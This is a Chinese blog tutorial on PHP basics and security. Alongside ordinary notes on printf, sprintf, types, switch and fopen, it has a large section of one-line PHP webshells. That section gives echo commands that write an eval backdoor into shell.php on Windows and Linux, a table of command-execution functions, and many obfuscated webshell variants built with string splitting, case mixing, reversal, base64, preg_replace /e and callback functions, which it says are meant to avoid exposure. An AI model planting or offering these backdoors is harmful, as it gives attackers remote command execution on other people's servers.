php安全修炼手册(持续更新2021.1.6)
<h3 id="f235cb9d" data-lake-id="c8649d2dccd4cd34447bc8c29b1c6f39_h1_0">(持续更新哟,点个关注和赞吧)</h3><p data-lake-id="69323f3de505712760c28be8b2581e2b"><span style="color: rgba(255, 0, 0, 1)">!!!<strong>如要学习具体深刻需要善于运用搜索引擎。</strong>!!!</span></p>
<h3 id="D45Do" data-lake-id="e877629e164117b5eb7f2e92e50c5238"><em>php笔记可参考php手册https://www.php.net/</em></h3>
<h3><em>php的构成与理解</em></h3>
<p><span style="font-family: 楷体; font-size: 16px"> 众所周知,php(超文本预处理器)是一种基于B/S结构的解释性语言,在我们深入理解php语言之前,我们可能都接触过了比较基础的php语言,再此就不详细展开细节了,</span><span style="font-family: 楷体; font-size: 16px">我们先从其基础和结构理解开始并学会使用php。</span></p>
<p> </p>
<h1>php的输出函数</h1>
<p> </p>
<p><span style="font-size: 16px"> 通常我们使用echo或print来输出某些字符串;如果要格式化输出操作,我们通常使用printf()函数或者sprintf()函数。</span></p>
<p><span style="font-family: 楷体; font-size: 16px"> 在我们使用php语言时,我们经常会遇到这么一些词语,他们有特殊的意义但不是函数,只是一种特殊的语言结构,这些被我们称为php关键词,如print,echo,array等,详情可翻阅php手册https://www.php.net/manual/zh/reserved.keywords.php</span></p>
<p data-lake-id="60f477cbcacc5e4df736d7d1cecc8c9f"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> 1.print和echo都不是真正的函数,但都可以以带有参数的函数形式进行调用,<span class="lake-fontsize-16"><span class="lake-fontsize-14">echo要比print速度快,<span class="lake-fontsize-16"><span class="lake-fontsize-14">print有函数返回值可以作为表达式的一部分。(优劣比较及使用不做推荐)</span></span></span></span></span></span></p>
<table style="height: 134px; width: 825px" border="0">
<tbody>
<tr>
<td> </td>
<td>echo</td>
<td>print</td>
</tr>
<tr>
<td>输出</td>
<td>可同时输出多个字符串</td>
<td>可同时输出一个字符串</td>
</tr>
<tr>
<td>使用错误抑制符@</td>
<td>不能</td>
<td>能</td>
</tr>
<tr>
<td>函数返回值</td>
<td>无</td>
<td>int类型的1</td>
</tr>
<tr>
<td>参数</td>
<td>
<p>支持多参数,用英文逗号","连接成多个参数</p>
<p>或用英文点号"."连接成一个参数</p>
</td>
<td>只支持一个参数,可用英文点号"."连接成一个参数</td>
</tr>
</tbody>
</table>
<p data-lake-id="60f477cbcacc5e4df736d7d1cecc8c9f"><strong><span class="lake-fontsize-16"><span class="lake-fontsize-14"> printf()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">函数将一个格式化的字符串输出到浏览器中,举例:</span></span></p>
<p data-lake-id="60f477cbcacc5e4df736d7d1cecc8c9f"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> 在php手册中printf()函数的定义为<span class="methodname">printf ( <span class="methodparam"><span class="type">string <code class="parameter">$format</code> , <span class="methodparam"><span class="type">mixed <code class="parameter">...$values</code> ) : <span class="type">int</span></span></span></span></span></span></span></span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$number</span> = 9<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$str</span> = "广东"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">printf</span>("在%s有%u百万辆自行车。",<span style="color: rgba(128, 0, 128, 1)">$str</span>,<span style="color: rgba(128, 0, 128, 1)">$number</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?>
<br><span style="color: rgba(0, 128, 0, 1)">浏览器输出 //</span><span style="color: rgba(0, 128, 0, 1)">在广东有 9 百万辆自行车。</span></pre>
</div>
<p class="list-dot list-dot-paddingleft"> 举例一些format值</p>
<ul class="custom_dot para-list list-paddingleft-1">
<li class="list-dot list-dot-paddingleft">
<div class="para">%% - 返回百分比符号</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%b - 二进制数</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%c - 依照 ASCII 值的字符</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%d - 带符号十进制数</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%e - 可续计数法(比如 1.5e+3)</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%u - 无符号十进制数</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%f - 浮点数(local settings aware)</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%F - 浮点数(not local settings aware)</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%o - 八进制数</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%s - 字符串</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%x - 十六进制数(小写字母)</div>
</li>
<li class="list-dot list-dot-paddingleft">
<div class="para">%X - 十六进制数(大写字母)</div>
</li>
</ul>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">sprintf()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">函数是返回一个格式化后的字符串,举例:</span></span></span></span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span class="lake-fontsize-16"><span class="lake-fontsize-14"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> 在php手册中sprintf()函数的定义为sprintf ( <span class="methodparam"><span class="type">string <code class="parameter">$format</code> , <span class="methodparam"><span class="type">mixed <code class="parameter">...$values</code> ) : <span class="type">string</span></span></span></span></span></span></span></span></span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$number</span> = 2<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$str</span> = "guangdong"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">sprintf</span>("There are %u million cars in %s.",<span style="color: rgba(128, 0, 128, 1)">$number</span>,<span style="color: rgba(128, 0, 128, 1)">$str</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$txt</span><span style="color: rgba(0, 0, 0, 1)">;
</span>?><br><br>浏览器输出 //There are 2 million cars in guangdong.</pre>
</div>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体"> 通过以上实例可以看出很明显的区别,printf()函数和sprintf()函数不同之处在于:</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体"> (1)printf()函数可以直接将格式化之后的字符串输出,而sprintf()函数需要使用echo方法将格式化后的字符串输出。</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体"> (2)printf()函数的返回值为int类型,表示打印出来字符串的字符数量,而sprintf()函数的返回值为一个字符串。</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体"> (3)sprintf()函数不显示格式化的字符串,因而非常适合于生成数据库查询语句,从而避免SQL与变量混合。举例:</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体">假设我们向这个php输入数据,即name用户可控,构造的payload为?name=xluo/</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"><span style="font-family: 楷体">(ps: mysql_real_escape_string(string, connection)函数作用是转义SQL语句中的特殊字符,成功返回字符串,失败返回false,</span><span style="font-family: 楷体">php前面连接数据库不做示范。</span></p>
<p data-lake-id="4dbaeaa25573f58c8555a7d4723a42f8"> </p>
<pre>sql语句为INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....),关于数据库语句笔者以后的文章会讲到<span style="font-family: 楷体">)</span></pre>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$id</span> = 6.00<span style="color: rgba(0, 0, 0, 1)">;<br></span>$name=$_GET["name"]<span>; </span></pre>
<pre><span style="color: rgba(128, 0, 128, 1)">$sql</span> = <span style="color: rgba(0, 128, 128, 1)">sprintf</span>("insert into table table_name(id,name) values (%d,'%s')",<span style="color: rgba(128, 0, 128, 1)">$id</span>, <span style="color: rgba(0, 128, 128, 1)">mysql_real_escape_string</span>(<span style="color: rgba(128, 0, 128, 1)">$name</span><span>)); <br><br></span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$sql</span><span>; <br></span>?><br><br>浏览器输出 //insert into table table_name(id,name) values (6,'xluo\/')</pre>
</div>
<p> </p>
<p data-lake-id="7bc0bd28d5512f027c4bbd72da412e08"> </p>
<h1 data-lake-id="7bc0bd28d5512f027c4bbd72da412e08">php中的一句话</h1>
<p> <span style="font-family: 楷体">在我们学习和了解php的一句话木马之前,我们需要先了解以下引号之间的不同。</span></p>
<p data-lake-id="7bc0bd28d5512f027c4bbd72da412e08"><span class="lake-fontsize-16"><span class="lake-fontsize-14">2.双引号""中,变量名称将被变量值替代!(<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">浏览器用echo命令写入一句话的时候记得\注释);</span></span></strong></span></span></p>
<p data-lake-id="e4d945c2c103f30aee025c43948a0212"><span class="lake-fontsize-16"> 单引号''中,变量名称或其他任何文本将不经修饰发送给浏览器;</span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-16"> 反向单引号``中,里面的命令将试着当作服务器端命令行命令来执行(通常引号被过滤可以考虑用反向单引号)。</span></p>
<p data-lake-id="7bc0bd28d5512f027c4bbd72da412e08"><span class="lake-fontsize-16"><span class="lake-fontsize-14"><strong><span class="lake-fontsize-16"><span class="lake-fontsize-14"> </span></span></strong><span class="lake-fontsize-16" style="font-family: 楷体"><span class="lake-fontsize-14">示例,以下是将一句话写入名为shell.php中,为了防止命令出错,单引号中不能使用单引号、双引号中不能使用双引号(除非将里面的引号进行转义):</span></span><strong><span class="lake-fontsize-16"><span class="lake-fontsize-14"><span style="font-family: 楷体"><br></span></span></span></strong></span></span></p>
<table border="0">
<tbody>
<tr>
<td>环境</td>
<td>windows</td>
<td>Linux</td>
</tr>
<tr>
<td>echo写入一句话</td>
<td>echo ^<?php @<span class="hljs-keyword">eval($_GET[<span class="hljs-string">'pass'])</span></span>;?^>>shell.php</td>
<td><span class="xml">echo '<span class="php"><span class="hljs-meta"><?php @<span class="hljs-keyword">eval($_GET[<span class="hljs-string">"pass"]);<span class="hljs-meta">?><span class="xml">' >shell.php</span></span></span></span></span></span></span></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td><span class="xml">echo '<span class="php"><span class="hljs-meta"><?php @<span class="hljs-keyword">eval(\$_GET[\'<span class="hljs-string">pass\']);<span class="hljs-meta">?><span class="xml">' >shell.php</span></span></span></span></span></span></span></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td><span class="xml">echo "<span class="php"><span class="hljs-meta"><?php @<span class="hljs-keyword">eval(\$_GET['<span class="hljs-string">pass']);<span class="hljs-meta">?><span class="xml">" >shell.php</span></span></span></span></span></span></span></td>
</tr>
<tr>
<td> </td>
<td> </td>
<td><span class="xml">echo "<span class="php"><span class="hljs-meta"><?php @<span class="hljs-keyword">eval(\$_GET[\"<span class="hljs-string">pass\"]);<span class="hljs-meta">?><span class="xml">" >shell.php</span></span></span></span></span></span></span></td>
</tr>
</tbody>
</table>
<p data-lake-id="7bc0bd28d5512f027c4bbd72da412e08"><span class="lake-fontsize-16"><span class="lake-fontsize-14"><span class="lake-fontsize-16" style="font-family: 楷体"><span class="lake-fontsize-14"> Windows下echo写入一句话时不用加引号,不然会将引号也写进去,同时对尖括号需要进行转义(Windows的cmd中我们通常用^进行转义),否则cmd处理的时候会出现错误。</span></span></span></span></p>
<p data-lake-id="7bc0bd28d5512f027c4bbd72da412e08"><span class="lake-fontsize-16"><span class="lake-fontsize-14"><span class="lake-fontsize-16" style="font-family: 楷体"><span class="lake-fontsize-14"> Linux下echo写入php一句话中我们通常使用如上表格最上面的命令,因为单引号中$不会被当成变量处理从而完整地将一句话写入shell.php中,同时我们需注意因为单引号的使用,所以我们GET方法传入参数pass时用的是双引号。</span></span></span></span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-16" style="font-family: 楷体"><span class="lake-fontsize-14"> 在漏洞探寻和渗透测试中,单引号和双引号的使用往往是一个小细节,能够减少我们debug的时间并得到正确结果。</span></span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-14"> 现在来了解一下php的一句话,通常来说,为了让传入的这一句话木马能发挥巨大的作用,我们采用了以上表格命令,现在来详细解读一下这个一句话木马:</span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-14"> <span style="font-family: 楷体">我们传入的是<?php @<span class="hljs-keyword">eval($_GET[<span class="hljs-string">"pass"]);<span class="hljs-meta">?>,并且传入到shell.php中,让这一句话以php的方式解析,那么我们就可以“为所欲为”了。(@只是错误抑制符,加上会让我们的一句话没那么容易暴露,因为有时候不传入payload的时候变量未定义会报错并显示出来)</span></span></span></span></span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-14"><span style="font-family: 楷体"><span class="hljs-keyword"><span class="hljs-string"><span class="hljs-meta"> 利用的方式是我们通过利用的GET<strong>传入参数pass</strong>,对他输入不同的payload(构造的值),输入的payload将通过eval(执行命令的语言结构,eval不是函数,前文有提及)执行命令,这样便完成了各种危险的操作,同时我们也知道了一句话木马构成危害的原理,而现在的使用一句话的自动化工具蚁剑、菜刀等,连接后能完成文件删改的原理也是一样,这里建议刚接触的时候手工尝试不要用工具。</span></span></span></span></span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-14"><span class="hljs-keyword"><span class="hljs-string"><span class="hljs-meta"> 现在我们知道了一句话木马的关键便是命令的执行,同样php中也有一些命令执行函数可以代替eval,举例相应函数及使用:</span></span></span></span></p>
<table border="0">
<tbody>
<tr>
<td>assert()函数(ps:在PHP7.1版本以后,<strong>assert()默认不再可以执行代码</strong>)</td>
<td><?php assert($_GET[<span class="hljs-string">"pass"]</span>);?></td>
</tr>
<tr>
<td>system()函数</td>
<td><?php system<span class="hljs-keyword">($_GET[<span class="hljs-string">"pass"]);<span class="hljs-meta">?></span></span></span></td>
</tr>
<tr>
<td>passthru()函数</td>
<td><?php passthru<span class="hljs-keyword">($_GET[<span class="hljs-string">"pass"]);<span class="hljs-meta">?></span></span></span></td>
</tr>
<tr>
<td>exec()函数</td>
<td><?php exec("$_GET[<span class="hljs-string">'pass']",$a</span>);print($a);?></td>
</tr>
<tr>
<td>shell_exec()函数</td>
<td>
<p class="L3"><span class="pln"><?php $a=shell_exec("$_GET[<span class="hljs-string">'pass']</span>");var_dump<span class="pun">(<span class="pln">$a<span class="pun">);?></span></span></span></span></p>
</td>
</tr>
<tr>
<td>使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用)</td>
<td>
<p class="L3"><?php echo `$_POST['pass']`;?></p>
</td>
</tr>
</tbody>
</table>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"> <span style="font-family: 楷体">也可<strong>使用popen()函数</strong>打开进程执行命令,自行百度、尝试,这里不做举例。</span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span style="font-family: 楷体"> 如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。</span></p>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"><span class="lake-fontsize-14"><span class="hljs-keyword"><span class="hljs-string"><span class="hljs-meta"> 下面放一些比较常见的一句话木马,我们也可以根据丰富的php函数自行创造和<strong>修改</strong>(未具体尝试,如有出错欢迎评论指出)<span style="color: rgba(255, 0, 0, 1)">注意assert()的版本问题(上表格有提及,需要时自行修改)</span>:</span></span></span></span></p>
<table border="0">
<tbody>
<tr>
<td>普通的一句话GET方法(<strong>也可以用POST方法或者REQUEST等方法代替,下文也是如此</strong>)</td>
<td><?php @<span class="hljs-keyword">eval($_GET[<span class="hljs-string">"pass"]);<span class="hljs-meta">?></span></span></span></td>
</tr>
<tr>
<td>用php变量表示(ps:eval不能作为变量函数去执行)</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $a = <span class="hljs-string">"passthru";$a(@$_GET[<span class="hljs-string">'pass']); <span class="hljs-meta">?></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>
<p id="toc-4">php变量表示变形1(ps:大小写混淆)</p>
</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $a=<span class="hljs-string">"AssERT";$b=strtolower($a);@$b($_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>
<p>php变量表示变形2(ps:字符串拼接)</p>
</td>
<td>
<pre><span style="font-size: 14px"><code><?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?></code></span></pre>
</td>
</tr>
<tr>
<td> php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序)</td>
<td><span style="font-size: 14px"> <code class="hljs php"><span class="hljs-meta"><?php $a=<span class="hljs-string">"TR".<span class="hljs-string">"Es".<span class="hljs-string">"sA";$b=strtolower($a);$c=strrev($b);@$c($_GET[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></span></span></code></span></td>
</tr>
<tr>
<td> PHP可变变量(ps:变量的变换)</td>
<td> <span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $b=<span class="hljs-string">"assert";$a=<span class="hljs-string">'b';$$a($_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></span></code></span>
<pre></pre>
</td>
</tr>
<tr>
<td>使用create_function函数</td>
<td> <span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $a=create_function(<span class="hljs-string">'',$_POST[<span class="hljs-string">'pass']);$a();<span class="hljs-meta">?></span></span></span></span></code></span>
<pre></pre>
</td>
</tr>
<tr>
<td>自定义函数</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php <span class="hljs-function"><span class="hljs-keyword">function b<span class="hljs-title">(<span class="hljs-params">$a){@<span class="hljs-keyword">eval($a);}<br>@b($_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>使用call_user_func()函数(ps:调用函数)</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php @call_user_func(assert,$_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>
<p>使用call_user_func_array()函数</p>
</td>
<td>
<pre></pre>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $array=</span></code></span><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta">$_POST[<span class="hljs-string">'pass'];</span></span></code></span><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta">@call_user_func_array(assert,$array<span class="hljs-string">);<span class="hljs-meta">?></span></span></span></code></span></pre>
<pre></pre>
</td>
</tr>
<tr>
<td>base64_decode 函数</td>
<td>
<p><span style="font-size: 14px"><?php $a=base64_decode("cGFzc3RocnU="); </span></p>
<p><span style="font-size: 14px">@a($_POST['pass']);?></span></p>
</td>
</tr>
<tr>
<td>
<p>preg_replace函数(ps:<span style="font-size: 14px"><code>preg_replace</code> 函数的第一个参数是一个正则表达式,后文会提到正则表达式。</span></p>
<p><span style="font-size: 14px">如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。</span>)</p>
</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php <span class="hljs-function"><span class="hljs-keyword">function <span class="hljs-title">a(<span class="hljs-params">){<span class="hljs-keyword">return $_POST[<span class="hljs-string">'pass'];}<br>@preg_replace(<span class="hljs-string">"/test/e", a(),<span class="hljs-string">"test1");<span class="hljs-meta">?></span></span></span></span></span></span></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td> array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。)</td>
<td>
<p><span style="font-size: 14px"> <?php</span></p>
<p><span style="font-size: 14px">$a=$_GET['1'];</span><span style="font-size: 14px">$cmd=$_POST['2'];</span><span style="font-size: 14px">$array=$cmd;</span><span style="font-size: 14px">$new_array=array_map($a,$array);</span></p>
<p><span style="font-size: 14px">echo $new_array;?></span></p>
</td>
</tr>
<tr>
<td>
<p>array_filter()函数</p>
</td>
<td>
<p> </p>
<p><?php $a=$_POST['1'];$array1=array($a);$b=$_GET['2'];array_filter($array1,$b);?></p>
<p> </p>
</td>
</tr>
<tr>
<td>
<p>pares_str函数(ps:结果$a=eval)</p>
</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $str=<span class="hljs-string">"a=eval";parse_str($str);$a($_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>
<p>str_replace函数(ps:结果$a=assert)</p>
</td>
<td>
<pre><span style="font-size: 14px"><code class="hljs php"><span class="hljs-meta"><?php $a = str_replace(<span class="hljs-string">"test", <span class="hljs-string">"", <span class="hljs-string">"astestsert");$a($_POST[<span class="hljs-string">'pass']);<span class="hljs-meta">?></span></span></span></span></span></span></code></span></pre>
</td>
</tr>
<tr>
<td>
<p>uasort()函数、usort()函数</p>
</td>
<td> <span class="hljs-meta"><?php usort($_GET,<span class="hljs-string">'asse'.<span class="hljs-string">'rt');<span class="hljs-meta">?></span></span></span></span></td>
</tr>
<tr>
<td>
<p> </p>
</td>
<td><span class="hljs-meta"><?php usort(...$_GET);<span class="hljs-meta">?></span></span></td>
</tr>
<tr>
<td>
<p>动态函数</p>
</td>
<td><span class="hljs-meta"><?php $_GET['1']($_GET['2']);?></span></td>
</tr>
</tbody>
</table>
<p data-lake-id="0b6ea20b583461f27ce4665c968fdb4b"> </p>
<p data-lake-id="9ca51b3e326bee03c2e51da0b07d640c"> </p>
<p data-lake-id="9ca51b3e326bee03c2e51da0b07d640c"><span class="lake-fontsize-16"><span class="lake-fontsize-14">3.用<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">gettype()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">函数获取变量类型,用<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">settype()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">函数改变变量类型,<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">intval()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">转为整数</span></span></span></span></span></span></span></span></p>
<p data-lake-id="71e775aa55192d2c914847136e907997"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> 类型有bool,int,double(浮点型),string,array,object<span class="lake-fontsize-14">,resource,NULL。</span></span></span></p>
<p data-lake-id="9715992c17d98e082514effbc9cd6f48"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> 除此之外php还有很多特定的类型测试函数is_xxx(),如<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">is_array(),is_scalar(),is_numeric()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">等等。</span></span></span></span></p>
<p data-lake-id="19e8568aa1715be4524a3d1e1f02fd47"> </p>
<p data-lake-id="19e8568aa1715be4524a3d1e1f02fd47"><span class="lake-fontsize-16"><span class="lake-fontsize-14">4.<strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">isset()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">变量存在且值不为null返回true,其余相反,</span></span></span></span></p>
<p data-lake-id="f2b8fc220b4a61cb69f1b95abcce57eb"><span class="lake-fontsize-16"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">empty()</span></span></strong><span class="lake-fontsize-16"><span class="lake-fontsize-14">变量存在且是一个非空非零的值时返回false,其余相反。</span></span></span></span></p>
<p data-lake-id="1c96508b0cdf1ae937e424417774df61"> </p>
<p data-lake-id="1c96508b0cdf1ae937e424417774df61"><span class="lake-fontsize-16"><span class="lake-fontsize-14">5.elseif等于else if,在一系列的级联elseif语句中,只有第一个为true条件下的语句将被执行。</span></span></p>
<p data-lake-id="4888822ae1f84e24b8dafd2f3baafa85"> </p>
<p data-lake-id="4888822ae1f84e24b8dafd2f3baafa85"><span class="lake-fontsize-16"><span class="lake-fontsize-14">6.如果没有break,switch语句将执行case值为true的以下所有代码,例如</span></span></p>
<div id="bPwCk" class="lake-card-margin lake-selected" data-card-type="block" data-lake-card="codeblock" data-card-value="data:%7B%22mode%22%3A%22php%22%2C%22code%22%3A%22%3C%3Fphp%20switch%20(%24a)%7B%5Cn%20case%200%3A%5Cn%20%20echo%20%5C%220%5C%22%3B%5Cn%20case%201%3A%5Cn%20%20echo%20%5C%221%5C%22%3B%5Cn%20case%202%3A%5Cn%20%20echo%20%5C%222%5C%22%3B%7D%3F%3E%22%2C%22heightLimit%22%3Atrue%2C%22margin%22%3Atrue%2C%22id%22%3A%22bPwCk%22%2C%22autoWrap%22%3Atrue%7D" data-language="php">
<div class="lake-codeblock-content">
<div class="CodeMirror-sizer">
<pre class="cm-s-default"><span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-meta"><?php <br><span class="cm-keyword">switch (<span class="cm-variable-2">$a)<br>{
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">case <span class="cm-number">0:
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-string">"<span class="cm-string">0";
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">case <span class="cm-number">1:
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-string">"<span class="cm-string">1";
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"> <span class="cm-keyword">case <span class="cm-number">2:
<span class="lake-preview-line"><span class="lake-preview-line-number lake-lm-pad-level-0"><span class="lake-preview-codeblock-content"><span class="cm-keyword">echo <span class="cm-string">"<span class="cm-string">2";<br>}<br><span class="cm-meta">?></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
</div>
</div>
</div>
<p data-lake-id="033992a8a7566834ac94ee29a0dec724"><span class="lake-fontsize-14">当$a的值为0时将执行所有语句,当$a的值为2时只执行最后一条语句。</span></p>
<p data-lake-id="f4da3310d36807aa0d5514141922f595"> </p>
<p data-lake-id="f4da3310d36807aa0d5514141922f595"><span class="lake-fontsize-14">7.==为弱等于,===为恒等于。</span></p>
<p data-lake-id="c79e95530b450d965c2e0f6b8c51fe59"> </p>
<p data-lake-id="c79e95530b450d965c2e0f6b8c51fe59"><span class="lake-fontsize-14">8.<strong><span class="lake-fontsize-14">fopen()</span></strong><span class="lake-fontsize-14">文件模式<strong><span class="lake-fontsize-14">作用</span></strong><span class="lake-fontsize-14">(ps:打开文件,从文件头开始):</span></span></span></p>
<p data-lake-id="cdb72d60e8ac2d7f5b2588cded3576d7"><strong><span class="lake-fontsize-14"> r(只读)。</span></strong><span class="lake-fontsize-14">(ps:无)</span></p>
<p data-lake-id="c812f1d74ef955521b11a3dbd9dc1bd5"><strong><span class="lake-fontsize-14"> r+(读写)。</span></strong><span class="lake-fontsize-14">(ps:无)</span></p>
<p data-lake-id="a904757a3f8c96a0387e476a7cb7c1aa"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">w(写)。</span></strong><span class="lake-fontsize-14">(ps:如果文件已存在,将删除文件所有内容,如不存在将创建)</span></span></p>
<p data-lake-id="0794675a86042844d969caffba2bad64"><strong><span class="lake-fontsize-14"> w+(读写)。</span></strong><span class="lake-fontsize-14">(ps:无)</span></p>
<p data-lake-id="48d87797fe32bbca9d3064a3e5646530"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">x(谨慎写)。</span></strong><span class="lake-fontsize-14">(ps:如果已有文件,则不会打开且返回false,且php产生一个警告)</span></span></p>
<p data-lake-id="41fc4ec5cf1066e6e1df7524f65dd09a"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">x+(谨慎读或写)</span></strong><span class="lake-fontsize-14">。(同上)</span></span></p>
<p data-lake-id="1c6f18d324ae8564ec00b58bb4060c1c"><span class="lake-fontsize-14"> <strong><span class="lake-fontsize-14">a(追加写)。</span></strong><span class="lake-fontsize-14">(ps:如已有文件,从文件末尾开始追加,如没有,则创建。)</span></span></p>
